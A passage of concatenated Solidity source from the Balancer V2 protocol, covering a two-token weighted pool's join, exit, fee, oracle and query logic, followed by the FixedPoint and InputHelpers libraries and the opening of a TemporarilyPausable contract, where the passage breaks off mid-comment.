lastChangeBlock, protocolSwapFeePercentage, userData ); // Note we no longer use `balances` after calling `_onJoinPool`, which may mutate it. _mintPoolTokens(recipient, bptAmountOut); // amountsIn are amounts entering the Pool, so we round up. _downscaleUpArray(amountsIn); // dueProtocolFeeAmounts are amounts exiting the Pool, so we round down. _downscaleDownArray(dueProtocolFeeAmounts); } // Update cached total supply and invariant using the results after the join that will be used for future // oracle updates. _cacheInvariantAndSupply(); } /** * @dev Called when the Pool is joined for the first time; that is, when the BPT total supply is zero. * * Returns the amount of BPT to mint, and the token amounts the Pool will receive in return. * * Minted BPT will be sent to `recipient`, except for _MINIMUM_BPT, which will be deducted from this amount and sent * to the zero address instead. This will cause that BPT to remain forever locked there, preventing total BTP from * ever dropping below that value, and ensuring `_onInitializePool` can only be called once in the entire Pool's * lifetime. * * The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will * be downscaled (rounding up) before being returned to the Vault. */ function _onInitializePool( bytes32, address, address, bytes memory userData ) private returns (uint256, uint256[] memory) { WeightedPool.JoinKind kind = userData.joinKind(); _require(kind == WeightedPool.JoinKind.INIT, Errors.UNINITIALIZED); uint256[] memory amountsIn = userData.initialAmountsIn(); InputHelpers.ensureInputLengthMatch(amountsIn.length, 2); _upscaleArray(amountsIn); uint256[] memory normalizedWeights = _normalizedWeights(); uint256 invariantAfterJoin = WeightedMath._calculateInvariant(normalizedWeights, amountsIn); // Set the initial BPT to the value of the invariant times the number of tokens. This makes BPT supply more // consistent in Pools with similar compositions but different number of tokens. uint256 bptAmountOut = Math.mul(invariantAfterJoin, 2); _lastInvariant = invariantAfterJoin; return (bptAmountOut, amountsIn); } /** * @dev Called whenever the Pool is joined after the first initialization join (see `_onInitializePool`). * * Returns the amount of BPT to mint, the token amounts that the Pool will receive in return, and the number of * tokens to pay in protocol swap fees. * * Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when * performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely. * * Minted BPT will be sent to `recipient`. * * The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will * be downscaled (rounding up) before being returned to the Vault. * * Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onJoinPool`). These * amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault. */ function _onJoinPool( bytes32, address, address, uint256[] memory balances, uint256, uint256 protocolSwapFeePercentage, bytes memory userData ) private returns ( uint256, uint256[] memory, uint256[] memory ) { uint256[] memory normalizedWeights = _normalizedWeights(); // Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous join // or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids spending gas // computing them on each individual swap uint256 invariantBeforeJoin = WeightedMath._calculateInvariant(normalizedWeights, balances); uint256[] memory dueProtocolFeeAmounts = _getDueProtocolFeeAmounts( balances, normalizedWeights, _lastInvariant, invariantBeforeJoin, protocolSwapFeePercentage ); // Update current balances by subtracting the protocol fee amounts _mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub); (uint256 bptAmountOut, uint256[] memory amountsIn) = _doJoin(balances, normalizedWeights, userData); // Update the invariant with the balances the Pool will have after the join, in order to compute the // protocol swap fee amounts due in future joins and exits. _mutateAmounts(balances, amountsIn, FixedPoint.add); _lastInvariant = WeightedMath._calculateInvariant(normalizedWeights, balances); return (bptAmountOut, amountsIn, dueProtocolFeeAmounts); } function _doJoin( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { WeightedPool.JoinKind kind = userData.joinKind(); if (kind == WeightedPool.JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT) { return _joinExactTokensInForBPTOut(balances, normalizedWeights, userData); } else if (kind == WeightedPool.JoinKind.TOKEN_IN_FOR_EXACT_BPT_OUT) { return _joinTokenInForExactBPTOut(balances, normalizedWeights, userData); } else { _revert(Errors.UNHANDLED_JOIN_KIND); } } function _joinExactTokensInForBPTOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { (uint256[] memory amountsIn, uint256 minBPTAmountOut) = userData.exactTokensInForBptOut(); InputHelpers.ensureInputLengthMatch(amountsIn.length, 2); _upscaleArray(amountsIn); uint256 bptAmountOut = WeightedMath._calcBptOutGivenExactTokensIn( balances, normalizedWeights, amountsIn, totalSupply(), getSwapFeePercentage() ); _require(bptAmountOut >= minBPTAmountOut, Errors.BPT_OUT_MIN_AMOUNT); return (bptAmountOut, amountsIn); } function _joinTokenInForExactBPTOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { (uint256 bptAmountOut, uint256 tokenIndex) = userData.tokenInForExactBptOut(); // Note that there is no maximum amountIn parameter: this is handled by `IVault.joinPool`. _require(tokenIndex < 2, Errors.OUT_OF_BOUNDS); uint256[] memory amountsIn = new uint256[](2); amountsIn[tokenIndex] = WeightedMath._calcTokenInGivenExactBptOut( balances[tokenIndex], normalizedWeights[tokenIndex], bptAmountOut, totalSupply(), getSwapFeePercentage() ); return (bptAmountOut, amountsIn); } // Exit Hook function onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) { _upscaleArray(balances); (uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts) = _onExitPool( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData ); // Note we no longer use `balances` after calling `_onExitPool`, which may mutate it. _burnPoolTokens(sender, bptAmountIn); // Both amountsOut and dueProtocolFeeAmounts are amounts exiting the Pool, so we round down. _downscaleDownArray(amountsOut); _downscaleDownArray(dueProtocolFeeAmounts); // Update cached total supply and invariant using the results after the exit that will be used for future // oracle updates, only if the pool was not paused (to minimize code paths taken while paused). if (_isNotPaused()) { _cacheInvariantAndSupply(); } return (amountsOut, dueProtocolFeeAmounts); } /** * @dev Called whenever the Pool is exited. * * Returns the amount of BPT to burn, the token amounts for each Pool token that the Pool will grant in return, and * the number of tokens to pay in protocol swap fees. * * Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when * performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely. * * BPT will be burnt from `sender`. * * The Pool will grant tokens to `recipient`. These amounts are considered upscaled and will be downscaled * (rounding down) before being returned to the Vault. * * Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onExitPool`). These * amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault. */ function _onExitPool( bytes32, address, address, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) private returns ( uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts ) { // Exits are not completely disabled while the contract is paused: proportional exits (exact BPT in for tokens // out) remain functional. uint256[] memory normalizedWeights = _normalizedWeights(); if (_isNotPaused()) { // Update price oracle with the pre-exit balances _updateOracle(lastChangeBlock, balances[0], balances[1]); // Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous // join or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids // spending gas calculating the fees on each individual swap. uint256 invariantBeforeExit = WeightedMath._calculateInvariant(normalizedWeights, balances); dueProtocolFeeAmounts = _getDueProtocolFeeAmounts( balances, normalizedWeights, _lastInvariant, invariantBeforeExit, protocolSwapFeePercentage ); // Update current balances by subtracting the protocol fee amounts _mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub); } else { // If the contract is paused, swap protocol fee amounts are not charged and the oracle is not updated // to avoid extra calculations and reduce the potential for errors. dueProtocolFeeAmounts = new uint256[](2); } (bptAmountIn, amountsOut) = _doExit(balances, normalizedWeights, userData); // Update the invariant with the balances the Pool will have after the exit, in order to compute the // protocol swap fees due in future joins and exits. _mutateAmounts(balances, amountsOut, FixedPoint.sub); _lastInvariant = WeightedMath._calculateInvariant(normalizedWeights, balances); return (bptAmountIn, amountsOut, dueProtocolFeeAmounts); } function _doExit( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { WeightedPool.ExitKind kind = userData.exitKind(); if (kind == WeightedPool.ExitKind.EXACT_BPT_IN_FOR_ONE_TOKEN_OUT) { return _exitExactBPTInForTokenOut(balances, normalizedWeights, userData); } else if (kind == WeightedPool.ExitKind.EXACT_BPT_IN_FOR_TOKENS_OUT) { return _exitExactBPTInForTokensOut(balances, userData); } else { // ExitKind.BPT_IN_FOR_EXACT_TOKENS_OUT return _exitBPTInForExactTokensOut(balances, normalizedWeights, userData); } } function _exitExactBPTInForTokenOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view whenNotPaused returns (uint256, uint256[] memory) { // This exit function is disabled if the contract is paused. (uint256 bptAmountIn, uint256 tokenIndex) = userData.exactBptInForTokenOut(); // Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`. _require(tokenIndex < 2, Errors.OUT_OF_BOUNDS); // We exit in a single token, so we initialize amountsOut with zeros uint256[] memory amountsOut = new uint256[](2); // And then assign the result to the selected token amountsOut[tokenIndex] = WeightedMath._calcTokenOutGivenExactBptIn( balances[tokenIndex], normalizedWeights[tokenIndex], bptAmountIn, totalSupply(), getSwapFeePercentage() ); return (bptAmountIn, amountsOut); } function _exitExactBPTInForTokensOut(uint256[] memory balances, bytes memory userData) private view returns (uint256, uint256[] memory) { // This exit function is the only one that is not disabled if the contract is paused: it remains unrestricted // in an attempt to provide users with a mechanism to retrieve their tokens in case of an emergency. // This particular exit function is the only one that remains available because it is the simplest one, and // therefore the one with the lowest likelihood of errors. uint256 bptAmountIn = userData.exactBptInForTokensOut(); // Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`. uint256[] memory amountsOut = WeightedMath._calcTokensOutGivenExactBptIn(balances, bptAmountIn, totalSupply()); return (bptAmountIn, amountsOut); } function _exitBPTInForExactTokensOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view whenNotPaused returns (uint256, uint256[] memory) { // This exit function is disabled if the contract is paused. (uint256[] memory amountsOut, uint256 maxBPTAmountIn) = userData.bptInForExactTokensOut(); InputHelpers.ensureInputLengthMatch(amountsOut.length, 2); _upscaleArray(amountsOut); uint256 bptAmountIn = WeightedMath._calcBptInGivenExactTokensOut( balances, normalizedWeights, amountsOut, totalSupply(), getSwapFeePercentage() ); _require(bptAmountIn <= maxBPTAmountIn, Errors.BPT_IN_MAX_AMOUNT); return (bptAmountIn, amountsOut); } // Oracle functions function getLargestSafeQueryWindow() external pure override returns (uint256) { return 34 hours; } function getLatest(Variable variable) external view override returns (uint256) { int256 instantValue = _getInstantValue(variable, _miscData.oracleIndex()); return _fromLowResLog(instantValue); } function getTimeWeightedAverage(OracleAverageQuery[] memory queries) external view override returns (uint256[] memory results) { results = new uint256[](queries.length); uint256 oracleIndex = _miscData.oracleIndex(); OracleAverageQuery memory query; for (uint256 i = 0; i < queries.length; ++i) { query = queries[i]; _require(query.secs != 0, Errors.ORACLE_BAD_SECS); int256 beginAccumulator = _getPastAccumulator(query.variable, oracleIndex, query.ago + query.secs); int256 endAccumulator = _getPastAccumulator(query.variable, oracleIndex, query.ago); results[i] = _fromLowResLog((endAccumulator - beginAccumulator) / int256(query.secs)); } } function getPastAccumulators(OracleAccumulatorQuery[] memory queries) external view override returns (int256[] memory results) { results = new int256[](queries.length); uint256 oracleIndex = _miscData.oracleIndex(); OracleAccumulatorQuery memory query; for (uint256 i = 0; i < queries.length; ++i) { query = queries[i]; results[i] = _getPastAccumulator(query.variable, oracleIndex, query.ago); } } /** * @dev Updates the Price Oracle based on the Pool's current state (balances, BPT supply and invariant). Must be * called on *all* state-changing functions with the balances *before* the state change happens, and with * `lastChangeBlock` as the number of the block in which any of the balances last changed. */ function _updateOracle( uint256 lastChangeBlock, uint256 balanceToken0, uint256 balanceToken1 ) internal { bytes32 miscData = _miscData; if (miscData.oracleEnabled() && block.number > lastChangeBlock) { int256 logSpotPrice = WeightedOracleMath._calcLogSpotPrice( _normalizedWeight0, balanceToken0, _normalizedWeight1, balanceToken1 ); int256 logBPTPrice = WeightedOracleMath._calcLogBPTPrice( _normalizedWeight0, balanceToken0, miscData.logTotalSupply() ); uint256 oracleCurrentIndex = miscData.oracleIndex(); uint256 oracleCurrentSampleInitialTimestamp = miscData.oracleSampleCreationTimestamp(); uint256 oracleUpdatedIndex = _processPriceData( oracleCurrentSampleInitialTimestamp, oracleCurrentIndex, logSpotPrice, logBPTPrice, miscData.logInvariant() ); if (oracleCurrentIndex != oracleUpdatedIndex) { // solhint-disable not-rely-on-time miscData = miscData.setOracleIndex(oracleUpdatedIndex); miscData = miscData.setOracleSampleCreationTimestamp(block.timestamp); _miscData = miscData; } } } /** * @dev Stores the logarithm of the invariant and BPT total supply, to be later used in each oracle update. Because * it is stored in miscData, which is read in all operations (including swaps), this saves gas by not requiring to * compute or read these values when updating the oracle. * * This function must be called by all actions that update the invariant and BPT supply (joins and exits). Swaps * also alter the invariant due to collected swap fees, but this growth is considered negligible and not accounted * for. */ function _cacheInvariantAndSupply() internal { bytes32 miscData = _miscData; if (miscData.oracleEnabled()) { miscData = miscData.setLogInvariant(WeightedOracleMath._toLowResLog(_lastInvariant)); miscData = miscData.setLogTotalSupply(WeightedOracleMath._toLowResLog(totalSupply())); _miscData = miscData; } } // Query functions /** * @dev Returns the amount of BPT that would be granted to `recipient` if the `onJoinPool` hook were called by the * Vault with the same arguments, along with the number of tokens `sender` would have to supply. * * This function is not meant to be called directly, but rather from a helper contract that fetches current Vault * data, such as the protocol swap fee percentage and Pool balances. * * Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must * explicitly use eth_call instead of eth_sendTransaction. */ function queryJoin( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256 bptOut, uint256[] memory amountsIn) { InputHelpers.ensureInputLengthMatch(balances.length, 2); _queryAction( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData, _onJoinPool, _downscaleUpArray ); // The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement, // and we don't need to return anything here - it just silences compiler warnings. return (bptOut, amountsIn); } /** * @dev Returns the amount of BPT that would be burned from `sender` if the `onExitPool` hook were called by the * Vault with the same arguments, along with the number of tokens `recipient` would receive. * * This function is not meant to be called directly, but rather from a helper contract that fetches current Vault * data, such as the protocol swap fee percentage and Pool balances. * * Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must * explicitly use eth_call instead of eth_sendTransaction. */ function queryExit( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256 bptIn, uint256[] memory amountsOut) { InputHelpers.ensureInputLengthMatch(balances.length, 2); _queryAction( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData, _onExitPool, _downscaleDownArray ); // The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement, // and we don't need to return anything here - it just silences compiler warnings. return (bptIn, amountsOut); } // Helpers function _getDueProtocolFeeAmounts( uint256[] memory balances, uint256[] memory normalizedWeights, uint256 previousInvariant, uint256 currentInvariant, uint256 protocolSwapFeePercentage ) private view returns (uint256[] memory) { // Initialize with zeros uint256[] memory dueProtocolFeeAmounts = new uint256[](2); // Early return if the protocol swap fee percentage is zero, saving gas. if (protocolSwapFeePercentage == 0) { return dueProtocolFeeAmounts; } // The protocol swap fees are always paid using the token with the largest weight in the Pool. As this is the // token that is expected to have the largest balance, using it to pay fees should not unbalance the Pool. dueProtocolFeeAmounts[_maxWeightTokenIndex] = WeightedMath._calcDueTokenProtocolSwapFeeAmount( balances[_maxWeightTokenIndex], normalizedWeights[_maxWeightTokenIndex], previousInvariant, currentInvariant, protocolSwapFeePercentage ); return dueProtocolFeeAmounts; } /** * @dev Mutates `amounts` by applying `mutation` with each entry in `arguments`. * * Equivalent to `amounts = amounts.map(mutation)`. */ function _mutateAmounts( uint256[] memory toMutate, uint256[] memory arguments, function(uint256, uint256) pure returns (uint256) mutation ) private pure { toMutate[0] = mutation(toMutate[0], arguments[0]); toMutate[1] = mutation(toMutate[1], arguments[1]); } /** * @dev This function returns the appreciation of one BPT relative to the * underlying tokens. This starts at 1 when the pool is created and grows over time */ function getRate() public view returns (uint256) { // The initial BPT supply is equal to the invariant times the number of tokens. return Math.mul(getInvariant(), 2).divDown(totalSupply()); } // Scaling /** * @dev Returns a scaling factor that, when multiplied to a token amount for `token`, normalizes its balance as if * it had 18 decimals. */ function _computeScalingFactor(IERC20 token) private view returns (uint256) { // Tokens that don't implement the `decimals` method are not supported. uint256 tokenDecimals = ERC20(address(token)).decimals(); // Tokens with more than 18 decimals are not supported. uint256 decimalsDifference = Math.sub(18, tokenDecimals); return 10**decimalsDifference; } /** * @dev Returns the scaling factor for one of the Pool's tokens. Reverts if `token` is not a token registered by the * Pool. */ function _scalingFactor(bool token0) internal view returns (uint256) { return token0 ? _scalingFactor0 : _scalingFactor1; } /** * @dev Applies `scalingFactor` to `amount`, resulting in a larger or equal value depending on whether it needed * scaling or not. */ function _upscale(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return Math.mul(amount, scalingFactor); } /** * @dev Same as `_upscale`, but for an entire array (of two elements). This function does not return anything, but * instead *mutates* the `amounts` array. */ function _upscaleArray(uint256[] memory amounts) internal view { amounts[0] = Math.mul(amounts[0], _scalingFactor(true)); amounts[1] = Math.mul(amounts[1], _scalingFactor(false)); } /** * @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on * whether it needed scaling or not. The result is rounded down. */ function _downscaleDown(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return Math.divDown(amount, scalingFactor); } /** * @dev Same as `_downscaleDown`, but for an entire array (of two elements). This function does not return anything, * but instead *mutates* the `amounts` array. */ function _downscaleDownArray(uint256[] memory amounts) internal view { amounts[0] = Math.divDown(amounts[0], _scalingFactor(true)); amounts[1] = Math.divDown(amounts[1], _scalingFactor(false)); } /** * @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on * whether it needed scaling or not. The result is rounded up. */ function _downscaleUp(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return Math.divUp(amount, scalingFactor); } /** * @dev Same as `_downscaleUp`, but for an entire array (of two elements). This function does not return anything, * but instead *mutates* the `amounts` array. */ function _downscaleUpArray(uint256[] memory amounts) internal view { amounts[0] = Math.divUp(amounts[0], _scalingFactor(true)); amounts[1] = Math.divUp(amounts[1], _scalingFactor(false)); } function _getAuthorizer() internal view override returns (IAuthorizer) { // Access control management is delegated to the Vault's Authorizer. This lets Balancer Governance manage which // accounts can call permissioned functions: for example, to perform emergency pauses. // If the owner is delegated, then *all* permissioned functions, including `setSwapFeePercentage`, will be under // Governance control. return getVault().getAuthorizer(); } function _queryAction( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData, function(bytes32, address, address, uint256[] memory, uint256, uint256, bytes memory) internal returns (uint256, uint256[] memory, uint256[] memory) _action, function(uint256[] memory) internal view _downscaleArray ) private { // This uses the same technique used by the Vault in queryBatchSwap. Refer to that function for a detailed // explanation. if (msg.sender != address(this)) { // We perform an external call to ourselves, forwarding the same calldata. In this call, the else clause of // the preceding if statement will be executed instead. // solhint-disable-next-line avoid-low-level-calls (bool success, ) = address(this).call(msg.data); // solhint-disable-next-line no-inline-assembly assembly { // This call should always revert to decode the bpt and token amounts from the revert reason switch success case 0 { // Note we are manually writing the memory slot 0. We can safely overwrite whatever is // stored there as we take full control of the execution and then immediately return. // We copy the first 4 bytes to check if it matches with the expected signature, otherwise // there was another revert reason and we should forward it. returndatacopy(0, 0, 0x04) let error := and(mload(0), 0xffffffff00000000000000000000000000000000000000000000000000000000) // If the first 4 bytes don't match with the expected signature, we forward the revert reason. if eq(eq(error, 0x43adbafb00000000000000000000000000000000000000000000000000000000), 0) { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } // The returndata contains the signature, followed by the raw memory representation of the // `bptAmount` and `tokenAmounts` (array: length + data). We need to return an ABI-encoded // representation of these. // An ABI-encoded response will include one additional field to indicate the starting offset of // the `tokenAmounts` array. The `bptAmount` will be laid out in the first word of the // returndata. // // In returndata: // [ signature ][ bptAmount ][ tokenAmounts length ][ tokenAmounts values ] // [ 4 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ] // // We now need to return (ABI-encoded values): // [ bptAmount ][ tokeAmounts offset ][ tokenAmounts length ][ tokenAmounts values ] // [ 32 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ] // We copy 32 bytes for the `bptAmount` from returndata into memory. // Note that we skip the first 4 bytes for the error signature returndatacopy(0, 0x04, 32) // The offsets are 32-bytes long, so the array of `tokenAmounts` will start after // the initial 64 bytes. mstore(0x20, 64) // We now copy the raw memory array for the `tokenAmounts` from returndata into memory. // Since bpt amount and offset take up 64 bytes, we start copying at address 0x40. We also // skip the first 36 bytes from returndata, which correspond to the signature plus bpt amount. returndatacopy(0x40, 0x24, sub(returndatasize(), 36)) // We finally return the ABI-encoded uint256 and the array, which has a total length equal to // the size of returndata, plus the 32 bytes of the offset but without the 4 bytes of the // error signature. return(0, add(returndatasize(), 28)) } default { // This call should always revert, but we fail nonetheless if that didn't happen invalid() } } } else { _upscaleArray(balances); (uint256 bptAmount, uint256[] memory tokenAmounts, ) = _action( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData ); _downscaleArray(tokenAmounts); // solhint-disable-next-line no-inline-assembly assembly { // We will return a raw representation of `bptAmount` and `tokenAmounts` in memory, which is composed of // a 32-byte uint256, followed by a 32-byte for the array length, and finally the 32-byte uint256 values // Because revert expects a size in bytes, we multiply the array length (stored at `tokenAmounts`) by 32 let size := mul(mload(tokenAmounts), 32) // We store the `bptAmount` in the previous slot to the `tokenAmounts` array. We can make sure there // will be at least one available slot due to how the memory scratch space works. // We can safely overwrite whatever is stored in this slot as we will revert immediately after that. let start := sub(tokenAmounts, 0x20) mstore(start, bptAmount) // We send one extra value for the error signature "QueryError(uint256,uint256[])" which is 0x43adbafb // We use the previous slot to `bptAmount`. mstore(sub(start, 0x20), 0x0000000000000000000000000000000000000000000000000000000043adbafb) start := sub(start, 0x04) // When copying from `tokenAmounts` into returndata, we copy the additional 68 bytes to also return // the `bptAmount`, the array length, and the error signature. revert(start, add(size, 68)) } } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "./LogExpMath.sol"; import "../helpers/BalancerErrors.sol"; /* solhint-disable private-vars-leading-underscore */ library FixedPoint { uint256 internal constant ONE = 1e18; // 18 decimal places uint256 internal constant MAX_POW_RELATIVE_ERROR = 10000; // 10^(-14) // Minimum base for the power function when the exponent is 'free' (larger than ONE). uint256 internal constant MIN_POW_BASE_FREE_EXPONENT = 0.7e18; function add(uint256 a, uint256 b) internal pure returns (uint256) { // Fixed Point addition is the same as regular checked addition uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { // Fixed Point addition is the same as regular checked addition _require(b <= a, Errors.SUB_OVERFLOW); uint256 c = a - b; return c; } function mulDown(uint256 a, uint256 b) internal pure returns (uint256) { uint256 product = a * b; _require(a == 0 || product / a == b, Errors.MUL_OVERFLOW); return product / ONE; } function mulUp(uint256 a, uint256 b) internal pure returns (uint256) { uint256 product = a * b; _require(a == 0 || product / a == b, Errors.MUL_OVERFLOW); if (product == 0) { return 0; } else { // The traditional divUp formula is: // divUp(x, y) := (x + y - 1) / y // To avoid intermediate overflow in the addition, we distribute the division and get: // divUp(x, y) := (x - 1) / y + 1 // Note that this requires x != 0, which we already tested for. return ((product - 1) / ONE) + 1; } } function divDown(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { uint256 aInflated = a * ONE; _require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow return aInflated / b; } } function divUp(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { uint256 aInflated = a * ONE; _require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow // The traditional divUp formula is: // divUp(x, y) := (x + y - 1) / y // To avoid intermediate overflow in the addition, we distribute the division and get: // divUp(x, y) := (x - 1) / y + 1 // Note that this requires x != 0, which we already tested for. return ((aInflated - 1) / b) + 1; } } /** * @dev Returns x^y, assuming both are fixed point numbers, rounding down. The result is guaranteed to not be above * the true value (that is, the error function expected - actual is always positive). */ function powDown(uint256 x, uint256 y) internal pure returns (uint256) { uint256 raw = LogExpMath.pow(x, y); uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1); if (raw < maxError) { return 0; } else { return sub(raw, maxError); } } /** * @dev Returns x^y, assuming both are fixed point numbers, rounding up. The result is guaranteed to not be below * the true value (that is, the error function expected - actual is always negative). */ function powUp(uint256 x, uint256 y) internal pure returns (uint256) { uint256 raw = LogExpMath.pow(x, y); uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1); return add(raw, maxError); } /** * @dev Returns the complement of a value (1 - x), capped to 0 if x is larger than 1. * * Useful when computing the complement for values with some level of relative error, as it strips this error and * prevents intermediate negative values. */ function complement(uint256 x) internal pure returns (uint256) { return (x < ONE) ? (ONE - x) : 0; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../openzeppelin/IERC20.sol"; import "./BalancerErrors.sol"; import "../../vault/interfaces/IAsset.sol"; library InputHelpers { function ensureInputLengthMatch(uint256 a, uint256 b) internal pure { _require(a == b, Errors.INPUT_LENGTH_MISMATCH); } function ensureInputLengthMatch( uint256 a, uint256 b, uint256 c ) internal pure { _require(a == b && b == c, Errors.INPUT_LENGTH_MISMATCH); } function ensureArrayIsSorted(IAsset[] memory array) internal pure { address[] memory addressArray; // solhint-disable-next-line no-inline-assembly assembly { addressArray := array } ensureArrayIsSorted(addressArray); } function ensureArrayIsSorted(IERC20[] memory array) internal pure { address[] memory addressArray; // solhint-disable-next-line no-inline-assembly assembly { addressArray := array } ensureArrayIsSorted(addressArray); } function ensureArrayIsSorted(address[] memory array) internal pure { if (array.length < 2) { return; } address previous = array[0]; for (uint256 i = 1; i < array.length; ++i) { address current = array[i]; _require(previous < current, Errors.UNSORTED_ARRAY); previous = current; } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "./BalancerErrors.sol"; import "./ITemporarilyPausable.sol"; /** * @dev Allows for a contract to be paused during an initial period after deployment, disabling functionality. Can be * used as an emergency switch in case a security vulnerability or threat is identified. * * The contract can only be paused during the Pause Window, a period that starts at deployment. It can also be * unpaused and repaused any number of times during this period. This is intended to serve as a safety measure: it lets * system managers react quickly to potentially dangerous situations, knowing that this action is reversible if careful * analysis later determines there was a false alarm. * * If the contract is paused when the Pause Window finishes, it will remain in the paused state through an additional * Buffer Period, after which it will be automatically unpaused forever. This is to ensure there is always enough time * to react to an emergency, even if the threat is discovered shortly before the Pause Window expires. * * Note that since the contract can only be paused within the Pause Window, unpausing during the Buffer Period is * irreversible. */ abstract contract TemporarilyPausable is ITemporarilyPausable { // The Pause Window and Buffer Period are timestamp-based: they should not be relied upon for sub-minute accuracy. // solhint-disable not-rely-on-time uint256 private constant _MAX_PAUSE_WINDOW_DURATION = 90 days; uint256 private constant _MAX_BUFFER_PERIOD_DURATION = 30 days; uint256 private immutable _pauseWindowEndTime; uint256 private immutable _bufferPeriodEndTime; bool private _paused; constructor(uint256 pauseWindowDuration, uint256 bufferPeriodDuration) { _require(pauseWindowDuration <= _MAX_PAUSE_WINDOW_DURATION, Errors.MAX_PAUSE_WINDOW_DURATION); _require(bufferPeriodDuration <= _MAX_BUFFER_PERIOD_DURATION, Errors.MAX_BUFFER_PERIOD_DURATION); uint256 pauseWindowEndTime = block.timestamp + pauseWindowDuration; _pauseWindowEndTime = pauseWindowEndTime; _bufferPeriodEndTime = pauseWindowEndTime + bufferPeriodDuration; } /** * @dev Reverts if the contract is paused. */ modifier whenNotPaused() { _ensureNotPaused(); _; } /** * @dev Returns the current contract pause status, as well as the end times of the Pause Window and Buffer * 